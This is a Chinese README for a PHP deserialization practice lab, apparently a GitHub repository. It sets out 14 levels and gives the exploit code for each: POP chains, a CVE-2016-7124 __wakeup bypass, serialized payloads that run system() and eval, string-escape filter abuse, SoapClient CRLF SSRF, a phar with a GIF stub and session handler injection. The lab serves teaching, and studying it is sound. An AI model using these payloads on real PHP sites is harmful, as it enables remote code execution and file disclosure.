一，说明

在学习反序列漏洞的道路中，最首要的就是掌握类和对象的基础知识，懂得php的基本语法。本项目关卡由易至难，建议广大萌新们全部掌握。小白技术一般，还请广大黑客朋友们见谅~~~

本着分享学习的目的，本人仅提供exp，并不提供完整的wp，绝对不是太懒的原因~~~

以下内容或来自提取的CTF考点，或来自个人的理解与整合，均不涉及原题。如有错误，还请见谅~~

二，环境

1说明

通过PHPstudy，搭建简易wamp环境。

2要求

请根据表格内容自行更换及安装php版本和扩展（若无要求，自行斟酌）。

不会吧，不会吧，不会真有人配了个php<=5.0版本的然后说环境搭不起来吧。

关卡	不适用其他版本的原因以及相关设置
level4 create_fucntion与可变函数调用	5.6不支持可变函数，7.2已废除create_function
level5 序列化格式过滤与CVE-2016-7124	CVE-2016-7124漏洞影响版本：PHP5 < 5.6.25，PHP7 < 7.0.10
level6 私有属性反序列化	escaped binary string(仅从php6开始支持)
level7 __call与属性的初始值	同上
level10 just_one_soap	需要开启soap扩展(php5.6：extension=php_soap)
level11 a phar 和 level12 a phar trick	php.ini中phar.readonly=Off（若有分号则去掉）
level13 引用和session	session.auto_start=0; session.serialize_handler = php;（level13均为默认设置）
leve14 session.upload_progress	session.auto_start=0; session.serialize_handler = php_serialize; session.upload_progress.enabled = On; session.upload_progress.cleanup = Off; session.upload_progress.prefix = "upload_progress_"; session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"; session.upload_progress.freq = "1%"; session.upload_progress.min_freq = "1";

三，wp

level1 类的实例化

<?php
class a{
    var $act;
    function action(){
        eval($this->act);
    }
}
$a=new a();
$a->act="show_source('flag.php');";
$a->action();
echo serialize($a);
?>

level2 login

<?php
highlight_file(__FILE__);
class mylogin{
    var $user;
    var $pass;
    function __construct($user,$pass){
        $this->user=$user;
        $this->pass=$pass;
    }
    function login(){
        if ($this->user=="daydream" and $this->pass=="ok"){
            return 1;
        }
    }
}
$a=new mylogin('daydream','ok');
if($a->login())
{
    echo 'flag'."\n";
}
echo serialize($a);
?>

level3 relogin

echo urlencode(serialize($a));

url编码后，抓包修改发送即可。以下截图为重放攻击。

level4 create_fucntion与可变函数调用

注意：两个类实例化调用属性的顺序。

<?php
highlight_file(__FILE__);
class func
{
    public $key;
    public function __destruct()
    {
        unserialize($this->key)();
    }
}

class GetFlag
{
    public $code;
    public $action;
    public function get_flag(){
        $a=$this->action;
        $a('', $this->code);
    }
}
$a1=new func();
$b=new GetFlag();
$b->code='}include("flag.php");echo $flag;//';
$b->action="create_function";
$a1->key=serialize(array($b,"get_flag"));
echo serialize($a1);
?>

level5 序列化格式过滤与CVE-2016-7124

<?php
class secret{
    var $file='index.php';

    public function __construct($file){
        $this->file=$file;
        echo $flag;
    }

    function __destruct(){
        include_once($this->file);
    }

    function __wakeup(){
        $this->file='index.php';
    }
}
$pa=new secret('flag.php');
echo serialize($pa),"\n";//O:6:"secret":1:{s:4:"file";s:8:"flag.php";}
$cmd=urlencode('O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}');
echo $cmd;
?>

level6 私有属性反序列化

<?php
class secret{
    private $comm;
    public function __construct($com){
        $this->comm = $com;
    }
    function __destruct(){
        echo eval($this->comm);
    }
}
$pa=new secret("system('type flag.php');");
echo serialize($pa),"\n";
//O:6:"secret":1:{s:12:" secret comm";s:24:"system('type flag.php');";}
//O:6:"secret":1:{S:12:"\00secret\00comm";s:24:"system('type flag.php');";}
?>

level7 __call与属性的初始值

<?php
class you
{
    private $body;
    private $pro;
    function __construct(){
        $this->body=new my();
        $this->pro='yourname';
    }
    function __destruct()
    {
        $project=$this->pro;
        $this->body->$project();
    }
}

class my
{
    public $name='myname';

    function __call($func, $args)
    {
        if ($func == 'yourname' and $this->name == 'myname') {
            include('flag.php');
            echo $flag;
        }
    }
}
$p=new you();
echo serialize($p);
//大写S
//O:3:"you":2:{S:9:"\00you\00body";O:2:"my":1:{s:4:"name";s:6:"myname";}S:8:"\00you\00pro";s:8:"yourname";}
?>

level8 反序列化增逃逸

<?php
highlight_file(__FILE__);
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hack",$name);
    return $name;
}
class test{
    var $user;
    var $pass='daydream';
    function __construct($user){
        $this->user=$user;
    }
}
$a=new test('phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}');
//$a=new test('1');  O:4:"test":2:{s:4:"user";s:1:"1";s:4:"pass";s:8:"daydream";}
//逃逸内容：
//";s:4:"pass";s:8:"escaping";}
//计算需要链：
//phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}
$param=serialize($a);
echo $param,"\n";

$profile=unserialize(filter($param));
echo $profile->pass,"\n";
if ($profile->pass=='escaping'){
    echo 1;
}
?>

O:4:"test":2:{s:4:"user";s:116:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}

leve9 ezpop

<?php

class Modifier {
    private $var="flag.php";
    public function append($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        echo $this->source;
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

$a=new Modifier();
$b=new Show();
$c=new Test();

$b->source=$b;
$b->source->str=$c;
$c->p=$a;
echo "\n";
echo urlencode(serialize($b));

level10 just_one_soap

soap数据包测试方法：将loaction更改为监听ip和端口即可（注意：该包是index.php”发出“的）。

下图实例（公网ip测试）：

<?php
$post_data='pass=password';
$data_len=strlen($post_data);
$a = new SoapClient(null,array('location'=>'http://shiyan/SER/level10/flag.php','user_agent'=>'admin^^Content-Type: application/x-www-form-urlencoded^^Content-Length: '.$data_len.'^^^^'.$post_data,'uri'=>'bbba'));
$b = serialize($a);
$b = str_replace('^^',"\r\n",$b);
$b = str_replace('&','&',$b);
echo urlencode($b);

level11 a phar

<?php
class TestObject {
}

@unlink("phar1.phar");
$phar = new Phar("phar1.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$o = new TestObject();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test"); 
$phar->stopBuffering();
?>

level12 a phar trick

level13 引用和session

<?php

class Flag{
    public $name;
    public $her;
    function __wakeup(){
        $this->name=$this->her=md5(rand(1, 10000));
        if ($this->name===$this->her){
            include('flag.php');
            echo $flag;
        }
    }
}
$b=new Flag();
$b->her=&$b->name;
echo serialize($b);

?>

url/hint.php?a=|O:4:%22Flag%22:2:{s:4:%22name%22;N;s:3:%22her%22;R:2;}

再访问index.php

leve14 session.upload_progress

特此注明：有关这道题其实还可以设置session.upload_cleanup = Off，然后考条件竞争，但是此方式与upload类相关漏洞过于相似，此项目就不设置其作为关卡了，感兴趣的朋友可以自行设置游玩。

exp

<?php
class test{
    public $name;
    function __destruct(){
        if($this->name=='flag'){
            include('flag.php');
            echo $flag;
        }
        else{
            phpinfo();
        }
    }
}
$a=new test();
$a->name='flag';
echo serialize($a);

|O:4:\"test\":1:{s:4:\"name\";s:4:\"flag\";}

test.html

上传文件…

通过test.html“上传”任意文件，然后抓包，利用payload改包，最后发包，OK

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一，说明

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三，wp

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Name		Name	Last commit message	Last commit date
Latest commit History 8 Commits
level1		level1
level10		level10
level11		level11
level12		level12
level13		level13
level14		level14
level2		level2
level3		level3
level4		level4
level5		level5
level6		level6
level7		level7
level8		level8
level9		level9
pic		pic
README.md		README.md

fine-1/php-SER-libs

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